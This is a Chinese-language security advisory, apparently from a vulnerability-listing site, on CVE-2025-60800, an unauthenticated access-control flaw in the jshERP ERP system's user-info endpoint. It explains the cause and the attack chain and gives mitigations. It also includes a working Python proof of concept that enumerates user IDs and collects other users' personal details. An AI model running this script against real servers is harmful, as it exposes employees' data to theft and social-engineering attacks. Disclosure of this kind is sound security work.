IPBUF安全漏洞报告
English
CVE-2025-60800 CVSS 7.5 高危

jshERP访问控制错误漏洞导致敏感信息泄露(CVE-2025-60800)

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-60800
漏洞类型
访问控制错误
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jshERP

相关标签

访问控制错误敏感信息泄露jshERP未授权访问CVE-2025-60800高危漏洞企业资源计划系统API安全

漏洞概述

jshERP是一款开源的企业资源计划(ERP)系统,广泛应用于中小型企业的日常运营管理。该系统基于Spring Boot框架开发,提供用户管理、财务管理、库存管理等核心功能。

CVE-2025-60800漏洞存在于jshERP的/jshERP-boot/user/info接口中,属于经典的访问控制错误(Incorrect Access Control)漏洞。在系统设计时,开发者未能对该接口实施充分的权限验证机制,导致任何未经认证的用户都可以通过发送特制的HTTP GET请求来获取系统中其他用户的敏感个人信息。

该漏洞的CVSS评分达到7.5分,属于高危级别。攻击者无需任何特殊权限,也不需要与目标用户进行任何交互,仅需知道或猜测到目标用户的ID即可发起攻击。攻击成功后,攻击者可以获取包括但不限于用户名、邮箱、电话号码、职位信息、部门信息等敏感数据。

这些泄露的敏感信息可被用于进一步的社会工程学攻击、身份冒充或作为其他高级攻击的跳板。由于jshERP通常部署在企业内部网络,攻击者获取的用户信息可能涉及企业内部架构、人员组织等关键情报,对企业信息安全构成严重威胁。

技术细节

漏洞根源在于jshERP系统的访问控制机制设计缺陷。具体问题出在/jshERP-boot/user/info接口的权限验证逻辑上。

正常情况下,用户信息查询接口应当验证当前请求发起者是否具有查看目标用户信息的权限。典型的实现方式包括:验证当前会话用户与目标用户是否为同一人、验证当前用户是否具有管理员权限、验证当前用户与目标用户是否属于同一部门等。然而,该接口的实现存在以下问题:

1. 缺少认证状态检查:接口未验证请求是否来自已登录用户,导致匿名用户可以直接访问。
2. 缺少权限校验:即使请求来自已登录用户,接口也未验证当前用户是否有权查看目标用户的信息。
3. 直接返回敏感数据:接口在未进行充分验证的情况下,直接将数据库中的用户敏感信息返回给请求者。

攻击者只需构造如下HTTP请求即可触发漏洞:
GET /jshERP-boot/user/info?userId={target_user_id}

其中userId参数为目标用户的ID,可以是数字ID或用户名。服务器在收到请求后,会直接查询数据库并返回该用户的完整信息,包括姓名、联系方式、职位等敏感数据。

由于该接口采用RESTful风格设计,且返回格式为JSON,攻击者可以轻松地通过脚本自动化批量采集系统中的用户信息。

攻击链分析

STEP 1
1
信息收集:攻击者首先识别目标网站是否使用jshERP系统,通过指纹识别技术检测/jshERP-boot路径或系统特征
STEP 2
2
构造请求:攻击者构造恶意的HTTP GET请求,访问/jshERP-boot/user/info接口,并指定目标用户ID参数
STEP 3
3
发送攻击:由于接口缺少认证和权限验证,攻击者的匿名请求被服务器接受并处理
STEP 4
4
获取数据:服务器直接返回目标用户的敏感个人信息,包括姓名、邮箱、电话、职位等敏感数据
STEP 5
5
批量采集:攻击者通过脚本自动化遍历不同的用户ID,大规模收集系统内所有用户信息
STEP 6
6
后续利用:利用获取的敏感信息进行社工攻击、身份冒充或作为跳板发起更高级的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys import json # CVE-2025-60800 PoC - jshERP Incorrect Access Control # Target: jshERP /jshERP-boot/user/info endpoint # Vulnerability: Allows unauthenticated access to sensitive user information def check_vulnerability(target_url): """ Check if the target jshERP instance is vulnerable to CVE-2025-60800 """ # Test with common user IDs test_user_ids = [1, 2, 3, 'admin', 'user', 'test'] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.9', } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2025-60800 - jshERP Access Control Error") print("-" * 60) for user_id in test_user_ids: try: # Construct the vulnerable endpoint url = f"{target_url}/jshERP-boot/user/info" params = {'userId': user_id} print(f"\n[*] Testing userId: {user_id}") # Send unauthenticated request response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data.get('code') == 200 and data.get('data'): print(f"[!] VULNERABLE! Retrieved user info for ID: {user_id}") print(f"[+] Response data: {json.dumps(data['data'], indent=2, ensure_ascii=False)}") return True else: print(f"[-] No sensitive data returned for userId: {user_id}") except json.JSONDecodeError: print(f"[-] Invalid JSON response for userId: {user_id}") else: print(f"[-] HTTP {response.status_code} for userId: {user_id}") except requests.exceptions.RequestException as e: print(f"[!] Error testing userId {user_id}: {e}") print("\n[-] Target does not appear to be vulnerable or user info not found.") return False def exploit_info_gathering(target_url, start_id=1, end_id=100): """ Attempt to gather user information from the vulnerable endpoint """ print(f"\n[*] Starting information gathering (userId {start_id} to {end_id})...") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', } url = f"{target_url}/jshERP-boot/user/info" gathered_users = [] for user_id in range(start_id, end_id + 1): try: params = {'userId': user_id} response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data.get('code') == 200 and data.get('data'): user_info = data['data'] gathered_users.append(user_info) print(f"[+] Found user: {user_info.get('username', 'N/A')} (ID: {user_id})") except json.JSONDecodeError: pass except: pass print(f"\n[*] Total users found: {len(gathered_users)}") return gathered_users if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60800.py <target_url>") print("Example: python cve-2025-60800.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Check if vulnerable is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[*] Running information gathering...") exploit_info_gathering(target) else: print("\n[-] Exploitation aborted - target may not be vulnerable.")

影响范围

jshERP up to commit 90c411a

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 通过反向代理限制/jshERP-boot/user/info接口的访问,仅允许受信任的IP访问;2) 在应用层添加临时的认证中间件,确保所有用户信息接口都需要登录验证;3) 监控日志中的异常访问模式,及时发现和阻断批量信息采集行为;4) 考虑暂时禁用该接口,待官方发布修复补丁后再重新启用。同时建议检查是否存在相关的GitHub Issue(https://github.com/jishenghua/jshERP/issues/130)获取最新的修复进展。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表